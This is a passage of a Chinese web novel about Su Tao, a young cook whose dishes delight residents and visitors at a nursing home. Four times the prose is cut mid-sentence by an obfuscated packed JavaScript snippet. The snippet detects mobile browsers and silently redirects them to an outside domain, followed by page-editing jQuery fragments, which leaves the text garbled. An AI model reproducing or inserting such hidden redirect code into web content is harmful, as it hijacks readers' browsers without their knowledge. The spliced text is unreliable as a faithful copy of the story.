“你前段时间打电话，不是说适应不了这养老院的生活吗？尤其是那饭菜，说难吃的很。我们是来接你回家的。我们商量过了，家里给你腾出一间房，虽然我们现在工作太忙，的确没法天天在家照顾你，但是我们可以请保姆到家里照顾，保姆给你做饭什么的，这样你就不用那么辛苦了。” 季美霖一听，表情显得有些尴尬：“不用了，不用了。你们回去吧，我在这待着挺好的。” 这态度转变让季刚不由有几分疑惑：“妈，前两天你可不是这么说的。而且你跟我说这里头饭菜难吃，不是一天两天了，因为太难吃而不愿意吃饭，上回见你都已经饿瘦了五六斤，你本来就瘦，不能再这么消瘦下去了。” 旁边养老院的裴大爷经过，看见这一幕，也不由停下脚步：“季妹子，这是咋了？家里人闹矛盾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670067|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 季美霖忙说：“不是不是，我哎呀，这怎么说呢？现在我觉得这养老院挺好的，季刚，月月，你们工作忙，就不用分心照顾我了，该忙你们就忙，你们去。我就是生活太无聊了，有时候抱怨两句，你们别往心里去。” 季美霖说着，就要赶季刚走。 季刚一听，更觉得不对劲了：“是不是院长唐悦心跟你说了什么？这养老院肯定有问题。” 裴大爷哈哈一笑，似乎看出来了什么：“季妹子呀，是因为换了个厨子，所以不想走了吧？我可太了解她了，之前那一阵别说她了，我也不想在这待着了。” 季刚一听，和老婆孩子对视一眼，不由震惊：“换了个厨子有这么大的本事？让我妈直接扭转了心思？” “那当然了，既然你们来了，就进家家乐养老院感受一下。这不马上中午就要开饭了吗？不知道小苏今天中午又会做些什么好吃的呢？哎呀，时间不早了，我得赶紧回去，别到时候又抢没了。”裴大爷说着就往回走。 季美霖一看他跑走了，也担心人把饭抢空，赶紧往回跑，倒腾着小步子，季刚一家在后面追。 苏桃在做一份糯米蒸排骨。清晨她去菜市场选购最新鲜的猪排肋条，将它切剁成小块儿，清洗干净，加入调味料腌制，提前腌制了一个小时。再将晶莹剔透的糯米粒和排骨、腌制的秘制酱汁拌匀，贴在排骨表面一层。 苏桃准备了一些新鲜采摘的荷叶，放在笼屉上，垫在排骨上方，可以防止糯米掉落在锅里，也能增加不同的风味。 荷叶的清香一会儿就随着蒸锅的肉香气飘了出来。苏桃把糯米排骨从锅里拿出来，放进饭盆里。那排骨，一枚一枚，外面裹着一层白色透亮的糯米，看起来每一只都很可爱。 季美霖冲进食堂时，第一眼就看到了满满一饭盆的糯米排骨。她咽了咽口水，拿着托盘盛了两大勺，加上一些素菜，放在托盘里，竟然堆起了一座小山。 身后的大儿子季刚和儿媳妇柳月婉、小孙子壮壮目瞪口呆地看着这一幕。 季美霖吃得太香了，将一枚排骨吃得一干二净，完全陶醉于美食之中。不过这味道的确好闻啊，小孙子壮壮站在一旁，吸了吸鼻子：“好香啊，妈妈，奶奶手里的排骨看起来很好吃，我们也盛一份吧！” 养老院老人的家属是可以被允许在这里吃饭的。得到了妈妈柳月婉的允许后，壮壮自己拿了一只托盘，就去盛菜了。菜肴的数量种类看得他眼花缭乱，每一样都盛了一点。 当然，糯米排骨外面包着一层白生生透亮的外层，很合小孩子的胃口，他多盛了几块儿。 第一块肉先给妈妈柳月婉。柳月婉尝了一口，也惊呆了：“怎么会有这么好吃的糯米排骨？我总算知道孩子奶奶为什么不想回家了。” 壮壮晃着小脚丫点头：“爸爸，爸爸，你能不能问问这养老院的人，我们以后能不能来这里吃饭呀？” 5. 金丝牛肉饼＋腌笃鲜 季刚愣了一下，儿子壮壮说出了自己的心声，他刚吃了块糯米排骨，也好吃到想要拍案叫绝。 “行，那我就问问院长，是不是咱们也真能过来吃饭？反正我开车，这里离家也不算太远。如果长期吃，需要额外掏费用的话，咱们就把饭钱单独出一些也没所谓。” 主要苏桃做饭的确是太好吃了，季刚家附近的餐馆都吃得差不多了，已经很久没有感受过味蕾的惊艳了。不如就在这吃，想来养老院的饭，大概不会太贵。又便宜又好吃，谁能抵得住美食的诱惑？ 季刚手里拿着一枚金丝饼，这是牛肉馅儿的，苏桃大概是用完整一根拉长的面一点点卷起来的，所以这饼整体是螺旋形状。经过电饼铛烙了以后，一层一层的，饼皮变得相当酥脆。咬下去，有千层的感觉，而这金丝牛肉饼内还裹了牛肉馅，有点儿鲜嫩滑，咬一口直淌汁液。他吸吮汤汁，鲜到自己快把舌头吞进去，好吃到不得了。 当然，最令他吃惊的是，除了糯米排骨和金丝牛肉饼外，剩余所有菜肴，无论荤的素的，汤还是主食，每一道都能让他惊艳。季刚对那个看上去年轻的大厨感到佩服，小小年纪居然有这样的手艺，真是了不得。 金丝牛肉饼这天中午也成了老人们格外喜爱的。 比如对叶慧福来说，平时她就喜欢吃些脆脆的东西，用来消磨时间，锻炼牙口。这饼皮酥却不硬，一咬，饼皮全都融于口腔，她喜欢这种干爽的吃食，特地打包了一个。 用完餐之后回了养老院住宿楼2楼，她老伴儿庞志云因为摔伤了腿脚，不方便走动，最近卧床不起，她只有把食物带回去给他吃。 庞志云正躺在床上，翻开一本发动机制作的书打发时间，看见老伴进来，然后坐得端正了些：“你吃完了？” 叶慧福点点头：“给你带的吃的，你尝尝这金丝牛肉饼，还有这些菜，我特意给你多盛了些红烧茄子，盖在饭上，汤汁可好吃了。”光是打开饭盒，屋里就都飘香。 庞志云拿起旁边的湿纸巾擦了擦手，叶慧福为庞志云架好一个床上书桌，这样他可以不移动腿就能在上面吃饭。 庞志云尝了一口红烧茄子，伴着饭吃，酸甜可口，风味十足。茄子软糯可口，非常易消化，并且被苏桃处理得一点也不油，吃进去以后满满的回味，酱汁并没有完全掩盖茄子本身的香气。 红亮的色泽，也勾得人食欲大开，点缀着一些红色、绿色的彩椒，让整道红烧茄子显得尤为好看，拌在米饭上，就着香糯的米饭，吃下去简直可以驱散一切烦恼。 庞志云已经不知道是换大厨以后第几次感慨了：“怎么会好吃到这种程度？” “是啊，你做完接骨手术一直都没什么胃口的，现在看见你能吃，我也特别高兴，感觉你恢复得也能快一些。” 庞志云笑笑：“实在是太好吃了，好的食物养人啊！” 季刚和柳月婉带着壮壮离开养老院之前，跟院长唐悦心说了声。院长唐悦心表示，他们可以中午来这儿吃饭，多加一份餐费就行，可以按月付，这样当月每天都可以来吃。 院长唐悦心只是象征性地收一些费用，价格并不贵，毕竟苏桃要多做几份饭，菜品上也是需要成本花销的。季刚和柳月婉表示这是应该的，走的时候壮壮跟奶奶季美霖挥手告别，说的不是“奶奶，过段时间我们再来看你”，这次变成了“奶奶放心吧，明天我们还会来的。明天见哦，奶奶！” 做完中午饭，有几个小时休息时间，苏桃处理完了厨房的事，回到她自己的房间休息。她住在养老院最高的六层，有一间最靠走廊尽头的房间，由杂货间所改的，不过这会儿腾出一间还挺干净、各方面设施都齐备的房间给苏桃住。 苏桃看了眼，一张换好床铺的大床，一张桌子，一个大衣柜，洗手液、洗衣液、洗漱用品都有。如果偶尔不回家，在这里也完全可以解决基本生活需求，不用额外购买产品。当然，还有一间独立的卫生间，这样就很方便了。 苏桃脱下大厨的白色外套，躺在床上盖上薄薄的小被单，睡了过去。 睡醒已经是下午3点半，她伸了个懒腰，从床上坐起，下了楼，在院子里稍微活动活动腿脚。刚好听见养老院院门口有新的老人进来，一行人说着话。 带头那位老人名叫桂舞新，一看这养老院在一处小巷子里，就有点不情愿，拉着他女儿的手说：“咱们还是回去吧，我一看这养老院就不行，规模不够，咱们上次看的那个大。” 女儿劝他说：“养老院大小不重要，重要的是服务。我听说这家养老院护理人员都很尽职尽责，每天都会检查身体状况，提醒老人按时吃药，饮食荤素搭配也很不错，营养全面。咱们选养老院主要还是看中舒不舒服，外观什么的，也就是糊弄糊弄不懂的人。我专门找我朋友咨询，他家老人找养老院也是踩过坑的。” 桂舞新摆摆手就要往外走，嘴里说着：“不看了，不看了。” 这时院长唐悦心刚好迎了上来，忙问：“你们是来考察养老院的吧？请进，我来为你们介绍一下咱们这的服务设施，住宿情况要不要看一下？” 桂舞新见院长唐悦心都出来了，也不好拒绝，只想着硬着头皮应付完这一场，赶紧回去，明天他还有看中的两家养老院要看。 桂舞新之前是知名学校教导主任，一辈子体面过来的人，被同行称为教学专家，怎么也不想把自己送进一个看不对眼儿的地方去。不光学校要选最好的，养老院他也要进最大最亮堂、设施最齐备的地方，那地方服务能差到哪去？不比这偏僻的养老院好？ 桂舞新这么想着，缓步跟上。 苏桃散步时刚好听了两耳朵，但也没太听清。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670068|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看时间差不多了，就进了食堂里面的厨房，准备今天的晚饭。 早上她特地去菜市场看到了最新鲜的春笋，青白色的嫩尖儿，一看就是最好吃的时候。她买了几大颗，又从院子里拿回她自己腌制的咸肉干，咸肉穿在绳子上，是她在家的时候就提前晾晒过一阵儿的。 虽然晒的时间不多，但是咸肉的味道已经隐隐有些了，现在也可以用来做饭。她卸下来一部分，将咸肉切块，这咸肉本身就是含盐的，所以将它炖进汤里不需要额外加盐，吃的就是鲜肉本身的味道。 除鲜肉以外，还要加入专门的排骨、猪蹄，将鲜肉和咸肉一起下锅，冷水开煮，煮沸以后撇去浮沫，接着再炖，加入料酒、姜片去腥。等到汤汁熬出了奶白色，再将新鲜的竹笋清洗干净后切成滚刀块儿，里面还放入一些干贝用来提鲜。 这道汤一定要小火慢炖，才能凸显出鲜香的味道。等熬得差不多了，还要再加入少量配菜，比如豆腐节之类，这道腌笃鲜就做好了。 将汤倒入一个大瓷罐，老人们会从食堂里舀汤，倒入之后，味道就开始飘散出来，穿过食堂，飘出了屋外。 原本看完了住宿楼感觉里面设施还算不错，比自己想象的要好很多的桂舞新，再三思虑，还是觉得规模太小，附近也没什么玩处，都是些小巷子，打算离开。 可刚走到院子里，脚步一顿，闻着味儿朝食堂望去：“这是什么味道？” 院长唐悦心连忙解释：“快到吃晚饭的时间了，大概我们这儿新来的大厨小苏已经做好了饭。” “闻着好像腌笃鲜的味道，我好久没吃腌笃鲜了。”桂舞新这么说着，不自觉地朝食堂靠近，站在食堂外，又猛嗅了一阵，“你们这儿大厨蛮有经验的吧，味道好像挺纯正的。” “反正快到饭点儿了，你们不如留下来，尝尝我们这儿的晚饭，尝好了，要是有意愿住呢，咱们再说。”院长唐悦心笑道。 “我只是馋这味道，十年前喝过一次，印象深刻。不过能把腌笃鲜做好的厨子很少，我可以进去喝一碗，另给你算饭钱也行。不过呢，我看住在这儿就不必了。” 桂舞新说着，快步向食堂走去。 其他老人们一开门就冲进去，桂舞新纳了闷儿，在养老院吃饭还用争先恐后吗？一时表示难以理解。 他走上前，拿着小碗，盛了一份腌笃鲜的汤，奶白色的汤里面有各种丰盛食材，看着就让人有食欲。 桂舞新拿起小勺，喝之前看到了大厨，心想这么年轻的大厨能行吗？下一刻，一勺汤就送进了嘴里，这一口下肚，鲜得他舌尖都快酥了，于是愣了一秒，一口接着一口，很快这一碗汤就喝得干干净净。 女儿在旁边看着桂舞新，见他起身换了只大碗，盛了满满一大碗，坐在桌子旁，一言不发地喝了起来，不由瞳孔大震。 6. 绿豆糕＋鸡蛋油条 桂舞新吃完了腌笃鲜，还不满足，看见打饭的窗口，各种琳琅满目的菜品，又挨个打了尝尝。这一尝不要紧，真的就停不下来。 吃饱喝足，桂舞新打了个饱嗝，他已经很久没有吃这么撑了。 桂舞新因为没了老伴，女儿工作在外比较忙，平时就他一个人在家。他也会做些吃食，但自己嫌麻烦，做饭从来都是越随意、越简单越好。有时懒得切菜，就直接把菜用手撕吧两下，大块大块丢进锅里熬炖，只要炖烂，吃下去能消化就行。味道自然也不怎么好吃，卖相更是惨淡。 女儿阿美结婚后，更少有时间回家，天天忙工作，加班加点的。偶尔来桂舞新家一趟，看到老爸做的饭，光看卖相就差点没吐出来，忍不住问：“爸，你平时就吃这个？” “怎么了？不是挺营养的吗？调料我都放了，酱油、醋、蚝油，还加了点白糖提鲜。” “但味道真的很怪。”阿美也不知道说什么好。 终于，桂舞新觉得一个人太孤单，更不喜欢做饭，动了去养老院的心思。 这会儿，用完饭后，桂舞新走出食堂，看着晚霞涂抹天边，天空被映成橙红色调。养老院树多，上面停歇的一些飞鸟发出唧唧啾啾的响声。用完饭的老人们，已经在院子里三三两两聚成堆儿，有的打牌，有的下棋，还有一支秧歌队。 这院落是别有洞天，从门进来，看不出有这么大的院子，似乎更深处还有一片树林。 “院长呢？院长去哪儿了？”桂舞新突然开口。 阿美问：“爸，咱不是吃完饭就要走了吗？其实也不用找院长的。” “不，我有话要问。”桂舞新说着，远远看见院长唐悦心从住宿区走出来，连忙上前开口：“唐院长，我打算在这儿住下来，明天能不能就入住啊？” 阿美目瞪口呆，院长唐悦心也惊讶了。不过愣了一下，马上说：“好，我会找工作人员给您办手续，让您尽快享受到我们的服务。” 坐进车里，女儿阿美还有些困惑：“爸，你怎么突然转了心思？不是说好的要再去别家看看吗？” 桂舞新很满意地摆摆手，笑道：“不用了。这家饭菜你刚才没尝，太好吃了。现在刚走出门，我就已经开始想念了。人生要是没有美食相伴，还有什么意义？所以啊，我看这儿就挺好。” 桂舞新望向远方，车辆驶离了小巷。 苏桃做完了晚饭，准备回家，手里拎着一只小纸袋，是她今天晚上在养老院做的绿豆糕，打算拿几块回家给妹妹苏小糯尝尝。 她所做的绿豆糕，甜度非常低，制作过程也很简单。将绿豆煮熟以后磨成粉，再加入豌豆，以同样的方式制成粉，两者混合后，加入少量桂花糖。 当然，为了绿豆糕样子好看，苏桃还对绿豆糕做了染色，将玫瑰花煮出汁液，融入绿豆粉中，然后粉红色泽，正是装入模具，变成花瓣的形状。层层晕染的玫瑰色，相当养眼。同时，为了绿豆糕吃起来更清新，苏桃还在调配的秘方中加入了少量薄荷。 苏桃刚一敲门，“噔噔噔”，就听见脚步声向她跑来。 “咔嗒”一开门，居然是苏小糯：“姐姐，你终于回来了，给我带好吃的没有？”像是期盼了很久，苏小糯目光中晶光闪烁。 苏桃把手里的袋子递给她：“绿豆糕你尝尝。” “哇，太好了！”苏小糯快速接过袋子。 “你给爸妈也分一分。” 苏小糯点点头，跑到房间给苏振岳、沈婉柔各递了一块。留下来的两块，她都要自己吃，因为实在太好吃了，一块根本就不够。 苏桃在绿豆糕里留下了一块玫瑰色的，还有一块是颜色没有做成桃花花瓣的形状，而是黄色圆圆的，上面有模具印上的“绿豆糕”三个字，颜色是淡黄的，绿豆内瓤磨成粉的色调，看上去更纯正天然一些。 两块不同的绿豆糕，苏小糯有些犹豫先吃哪块好呢。她拿起原味的咬了一口，清新扑鼻。 绿豆本身就是清凉食物，药食同源，清热解毒，再加入薄荷，软糯中又带着降温的功效，仿佛周身的热度都散了几度，让人感觉到晚上都那么不闷热了。而且味道甜而不腻，保留了优质绿豆本身的味道。 好吃到没两口，苏小糯就将一块原味的绿豆糕吃完了。接下来她又盯上了玫瑰味儿的那块儿，一口咬下去，滋味又有不同，居然真的带着浓郁的玫瑰香气，混合着绿豆的清香，口感滋味更加丰富。 苏桃洗了一把脸，回到房间，问她哪块儿更好吃。苏小糯想了半天，也没分出个所以然：“都好吃，都太好吃了！” 那边的房间里，苏振岳、沈婉柔尝了一口绿豆糕，也不由震惊，对视了一眼：“桃桃做糕点竟然也是一绝，咱家这是基因突变了，怎么她做什么都这么好吃？” 苏桃睡了一晚，第二天早晨，继续送苏小糯上学。 进入家家乐养老院之前，苏桃去菜市场买菜，旁边的早点铺已经开了门，热气腾腾的烟雾从窗户散发出来，白雾给人一种人间烟火气的感觉。走在菜市场，心情都格外好，她买了不少食材，装进大袋子，放上三轮车，然后回到家家乐养老院院内。 刚才看到那些早餐铺，她也有些手痒，想做些油条，能吃炸物的老人可以在食堂自取。 油条并不难做，只是做出来的口感要想达到理想状态，必须要有小苏打或者泡打粉一类的东西，让油条显得蓬松。 苏桃所做的油条是鸡蛋油条，将鸡蛋混入中筋面粉，也可以在某种程度上增加酥脆的程度，口感也能更好些。油条的和面步骤显得格外重要，不能和得太硬，否则炸的时候很难膨大。 苏桃将面团揉好，擀成小小的薄面片，叠放在一处，加入新鲜倒置的油，在锅中油微微冒烟时，将拉长的面团快速丢入锅中翻动。不一会儿，油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670069|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条就膨胀起来，色泽变得金黄时捞出，放在架子上控油。 其他的粥、饼、煮蛋都已经提前做好，油条是最后一个做的，因为要保证老人们吃到最新鲜热乎的油条，口感最好。 食堂刚一开门，油条的香气就散发了出来。苏桃刚好在炸制，一下子吸引了很多老人排队。 “我好久没有吃到油条了。之前我看厨师买的是速冻的油条，在锅里复炸，复炸完以后硬邦邦的。” “是啊，别看油条简单，但能做好的人不多。开早餐店的店铺老板比较会做，不知道小苏这和外面卖的相比怎么样？” “嗨，你尝尝不就知道了！” “这味道可真诱人呢！” 为了保证后面的老人都能吃到，苏桃一开始限量每人一份，等吃完以后可以再拿。 顾祥临和卞英涛两个大爷排在队伍后面，目光一直目不转睛地盯着苏桃炸出来的油条，生怕前面刚刚被露出来的那一份被抢光，那就不知道又要排到什么时候。 “很快的哦，大家不要着急。”苏桃说。 20分钟后，顾祥临和卞英涛终于拿到了属于自己的油条。坐到桌子前，看着油条比以往吃过的更大一些，看起来蓬松得相当到位，光是瞧着色泽就肯定好吃。 一口咬下去，顾祥临直接感叹出声：“又酥又脆，小苏可真有本事。油条香到这种程度，这是我吃过最好吃的了。以前我在外面吃油条，油锅一直用重复的油渣，所以油条总能吃出一个放了很久的油腥味。但这油条不一样，完全吃不出古怪的油味，全是香气。哦，里面还放了鸡蛋吧？味道太好了，我要再去拿一根。” “等等我，我跟你一起。”卞英涛说着，把盘子里最后一口油条吃完，又去拿了。 苏桃一看，这会排队的有不少都是拿过一次的，大家都吃得好快。她尽量加快制作油条的速度。好不容易把一个油条放进顾祥临的托盘，看见他挑起一根大拇指：“小苏，没想到你的油条比外面早餐店的更好吃，你这厨艺可真厉害！” 顾祥临和卞英涛各自拿了油条，回到位置上。吃完以后又有些忍不住了：“要么咱们再去拿一趟？” 一连拿了四趟，直到两个人不好意思再去排队才作罢。 顾祥临笑道：“哎呦，今天实在太能吃了，粥也喝了两大碗，包子吃了三个，再加上这油条，天哪，我的饭量怎么突然变这么大？像我年轻的时候一样。年轻那会儿我可能吃了，吃面都要装盆的，有时候一个盆不够，还要再盛半盆。我老婆都说我太能吃了，要把家里吃空了。可后来年纪大了，再也没有那么大的饭量，好像吃什么东西也没小时候香，对很多食物都丧失了兴趣，觉得能吃就行，没什么要求。谁知道现在的饭量还能接近那时候的，真是不可思议。” 卞英涛拍拍他的肩：“能吃是好事啊，吃完了之后咱院子里走走，再下会儿象棋。” 7. 酸梅汤＋小鸡炖蘑菇 上午，苏桃回到楼上，调整好枕头高度，稍微休息了会儿。时间差不多了，她回到食堂。今天中午除了炒菜以外，还要再单独做一份鸡丝凉面。 苏桃早上从菜市场买了新鲜的鸡腿，肉粉粉嫩嫩的，十分嫩滑。她用鸡腿肉而不是鸡胸肉，是为了让肉更好嚼，方便老人们食用。苏桃提前调好了料汁，大蒜挤压出来的蒜水、原汁原味的鸡汤、香油、芝麻碎、花生碎，依次在碗里搅拌均匀。 生抽、米醋是必备的，花椒油在锅里炸出来，橙黄透亮，再加入一点白糖提鲜。 都备好以后，把鸡腿肉下锅，加入葱姜和料酒去除腥味，煮好后撕成细丝。那边开始煮面，面条捞出后不能直接盛碗里，还得过一下冷水，这样面条才能更弹牙可口。 食堂开饭，许二妮拿着托盘，把所有菜都打了一份，然后就看到了架子上放着的鸡丝凉面。苏桃正站在架子旁边的锅旁煮面，锅里的水正在沸腾。 许二妮端了一碗鸡丝凉面，放在桌边，用筷子搅拌，将凉面拌开，香香的味道就散发了出来。 她凑近闻了闻，就是鸡丝凉面那个清爽的劲儿。苏桃似乎还在原有的成分里做了改良，她似乎很知道怎么在清淡的食物中加入一些成分，让它变得滋味丰富。 这碗鸡丝凉面里，相比普通的版本，考虑到一些老人的身体，所以减了红油，还多了些柠檬的香气，在原本的配料中又加入了自然的水果气息。本身就是夏日美食，柠檬汁液不光提鲜，让这种夏天清爽的感觉更加突出了。 许二妮夹起凉面，刚嚼了两口，沁人心脾的味道在口腔里蔓延开来。 “哇！”她忍不住发出感叹声。看上去普普通通的一碗面，怎么会好吃到这种程度？里面的花生碎应该是苏桃自己炸制的，相当脆，咬下去满口留香。 总感觉苏桃处理过的食材品质也比平时的要好，不知道是她连食材都知道怎么选取，还是她的加工方式让花生显得品质更高，也或许两者都有。 许二妮一口接着一口，将凉面从下面挑起，让汤料更加入味儿。她抬眼瞧着旁边的老人，一个个也都只顾着吃，而且大多也拿了凉面。吃完凉面，大家开始吃其他的荤素菜，菜量也多，味道丰富，色香味都俱全，没有人能抵得住美食的诱惑，即便是平日里胃口再不好的老人，这会儿也都吃得香得很。 许二妮的目光被旁边何泰勇手边的一杯饮料吸引了，她张嘴问：“这是什么？” 何泰勇解释说：“酸梅汤，小苏刚做的，我还没来得及尝呢！” 说着，何泰勇拿起酸梅汤喝了一口，顿时眼前一亮，“哇，这酸梅汤和我以前喝的路边那种用酸梅粉冲的完全不一样，好天然清新的感觉，而且好像能喝到里面每一种成分的味道。你看这杯底。” 何泰勇指着给许二妮看：“山楂、陈皮、甘草……哎，这黄色的小粒是桂花，还有两颗粉红色的洛神花。” “这酸梅汤看上去就漂亮得很。”许二妮看得眼睛放光。 由于有了这些食材的加持，杯底看起来就用料扎实，叫人喝着身心舒畅，尤其是酸酸甜甜的味道，非常解暑开胃。 “小苏说了，这酸梅汤全是药食同源的食材配比，对身体好呢。” “是啊，还有山楂，可以助消化呢，吃得多，恰好需要这样一杯酸梅汤。” “我也去盛。”许二妮说着，从座位上站起，到了打饭处，果然发现那里有一桶，里面就是紫红的颜色。她连忙盛了一杯，用勺子搅动的时候能看到锅底翻上来的用料。这酸梅汤喝起来也放心，而且正是因为天然成分所导致的香甜味道完全是食材本身发出来的，更是让人喝了以后口中回甘。 有荤有素的饭，配一杯酸梅汤，一顿绝世美味，简直是人生最美好的事。 午饭后，何泰勇出了养老院散步，沿着小巷的路往前走，恰好看见一个老人站在小巷边打电话。那老人耳背，听不太清听筒那边的声音，连带自己这边的语调都提高了八度，路过的行人都能听到，何泰勇也恰好听了个正着。 “小杰，你什么时候回来呀？除了你做的饭，我什么也吃不下。这大中午的又热又晒，家门口那些小饭馆我都吃过了，都不喜欢。” 听筒那边的声音也被老人放到最大，好像不小心按了免提似的，也被何泰勇听的一清二楚：“爸，我现在在出差做一个项目，你也知道我们干土木的，一个项目没有几个月完工不了，我根本没法请假回去。爸，你这胃是不是出什么问题了？去医院瞧瞧病吧。” “我说了，我没病，我纯粹是天热，没有胃口。上回你发我的绿豆桂花汤的配方我照着做了，可做出来根本就不是那个味儿，难喝死了，被我给倒了，浪费了好多食材。你要不什么时候回来再给我做一份儿，哪怕你好长一段时间回不来，但多囤一点，冻在冰箱里，我想那口了，拿出来喝，清热解暑，也能度过这个难熬的夏天。” 何泰勇听着两人在电话里撕扯了半天，最终也没达成个统一。他作为曾经做过手术恢复过来的人，完全能够理解。大病之后身体变差，胃口也会变差，尤其每年到了夏天，食欲不佳更是难熬。 于是，等到那个老人挂断了电话，何泰勇走上前，问：“大哥，你还没吃饭吧？” 刚把电话塞进裤兜的罗选顺点点头：“什么也吃不下，你说人老了，为什么胃口会变得这么差？看见什么都没有兴趣，也不知道是怎么了。” “我给你介绍个好地方，老哥哥，不是饭馆。” 罗选顺摆摆手：“这附近饭馆我都吃个遍，不行啊。我自己做饭速度也慢得要命，你看我这手帕金森，抖啊抖的，做饭不利索，自己做慢得很呐，等我吃上一两个小时都过去了。我只能去外面买着吃，但是不是油特别大，就是吃完以后得喝两大缸子水，真的不舒服啊。” 何泰勇说：“你知道这附近的家家乐养老院吗？” “养老院？我可不去，我现在好端端的能自理，我去什么养老院？” “现在可不是你想的那样了，养老院里有人陪，下棋跳舞各类活动应有尽有，不像在外头这么孤独啊。护理的当然也有，不过身体健康的老人也会去养老院，孩子们都忙，没时间照顾我们，交点朋友没什么不好。更何况，老哥哥，你不是胃口不好吗？你要是有自己的房子住，而且还住得这么近，也确实不必交那个养老院住宿的费用，额外一个月的餐费也很便宜，你可以尝尝家家乐养老院的饭菜。” 罗选顺将信将疑：“真有这么好吗？” “是啊，何况我刚才听你打电话，觉得你这问题还挺严重的。没看新闻上健康频道的专家说，对老人来说，保住胃气是很重要的，很多大病啊，都是从吃不好、睡不着开始的。” “这个我知道，那我晚上能去吃一顿吗？反正是个新的地方，换换口味也行。具体怎么走啊？” “就沿着这条路左拐，第一个路口再右拐，看到家家乐养老院的大门就是了。门虽然不大，里头别有洞天呢。晚上6点开饭，记得准时来啊，来晚了饭就有可能没了。”何泰勇特意叮嘱他。 罗选顺点点头。这一中午他就去旁边买了芝麻饼，咬了两口就放在那儿不想吃了。 等到晚上5点多，罗选顺就早早出了门。这养老院里的饭菜，他还真没尝过呢。 何泰勇本来在院儿里散步呢，看见罗选顺来了，连忙上前跟保安说明了情况，让他来试吃一顿，然后不禁感慨道：“老哥哥，没想到你来的还挺早啊，食堂没开门呢。不过你看玻璃门里，我们这儿的大厨小苏已经在做饭了。” 苏桃下午去了菜市场，为了选购上好的三黄鸡。三黄鸡肉质紧实， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670070|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营养更高，因为多半是用粗料喂养的，也就是现在比较时髦的说法——走地鸡，在田间野林乱窜，被放养出来的。 苏桃选择了品种纯度较高的宁都黄鸡，这种鸡鲜味要胜于一般的鸡，因为运动量大导致的，肉质更有味道。将三黄鸡切块以后，准备好干的榛蘑。同时，为了丰富滋味，又加入香菇、平菇、白玉菇等不同的蘑菇。 蘑菇的鲜味能将鸡肉的鲜味再度提鲜。其中一些干的蘑菇要提前泡发，泡发以后，鸡肉下锅焯水。 炒制的过程比较有讲究，过热油，倒入葱姜蒜放入爆炒，再放入肉鸡块，放入料酒、生抽、老抽，加水要没过鸡肉，再继续炖上至少半小时，然后放入蘑菇再继续煮炖。出锅时，苏桃在锅里放入粉条，搅动到粉条变得透亮、软烂就可以出锅了。 炖好的小鸡炖蘑菇是荤菜中的一种，被苏桃倒入食盆。 一开门，老人们涌了进来，大家闻了下，感叹道：“鲜的不行哇，小苏今天做了什么？怎么这么鲜呢？” “哎呀，今天有小鸡炖蘑菇，我想这口已经好久了。以前我在家自己也会做，家里的味道一般都是最好的。可我怎么闻着小苏这个，比我炖的还厉害，肉香怎么这么浓郁？这也太鲜了吧！” 罗选顺只是来试吃的，抱着将信将疑的态度，想着能有那么好吃吗，谁知跟着何泰勇进来的一瞬，就被这味道吸引，拿了托盘，特意盛了这道小鸡炖蘑菇。 没等何泰勇说话，罗选顺就看到色泽鲜亮浓郁的肉色，食欲大开，直接夹起一块鸡肉放进嘴巴里。 这一吃可不得了，他不停地感叹：“这是什么鸡啊，跟平时在外头吃的鸡肉不一样，怎么这么鲜嫩可口啊？还有这蘑菇，这里面看起来能有七八种蘑菇的样子。哇，还有这种黄色蘑菇，太鲜了。从来没有吃过这么好吃的小鸡炖蘑菇。” 罗选顺感慨了几句，随后不说话了，一块接一块地吃，目光不停地盯着小鸡炖蘑菇那份餐盘，因为他发现不停有人吃完了再去盛，他有点担心自己落后吃不到更多的，于是也加快了吃小鸡炖蘑菇的速度。 等再上前盛了一托盘，才总算放下心来。这次可以吃到过瘾了。 他不禁问何泰勇：“你们这儿的大厨就只有这么一个年轻人吗，这也太厉害了，手艺比外头饭馆的厨子还好！” 